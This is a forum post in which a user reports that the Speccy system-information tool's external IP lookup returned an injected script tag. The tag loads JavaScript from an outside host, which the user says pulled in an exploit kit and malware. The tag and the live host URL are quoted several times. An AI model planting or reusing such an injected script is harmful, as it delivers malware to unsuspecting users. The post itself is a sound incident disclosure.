While perusing the latest version of Speccy (1.10.248), I noticed something odd under Network.
"External IP Address <script type="text/javascript" src="http://www.nsa-lab.com/js.php"></script>12.xxx.xxx.xxx'>http://www.nsa-lab.com/js.php"></script>12.xxx.xxx.xxx
with the ending x's being the rest of my public IP.
I didn't have a clue what this was, so I blindly copied the address (hxxp://www.nsa-lab.com/js.php < intentionally delinkified for this post) into Google Chrome to try and figure out what was going on.
When I do that, I get this:
The javascript is:
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Posted about it on the Staff forums at BleepingComputer.com, and Grinler (Lawrence Abrams) posted this:
Basically whats happening is that speccy is querying your ip address by going to this url:
http://speccy.piriform.com/ip/
The content being returned, though, is not only the ip address but a javascript.
<script type="text/javascript" src="http://www.nsa-lab.com/js.php"></script>
Speccy is 100% compromised. That javascript loads a exploit kit, which has now downloaded some malware onto my Virtual Machine.
Pretty sure this would be considered a critical security flaw.
-kN
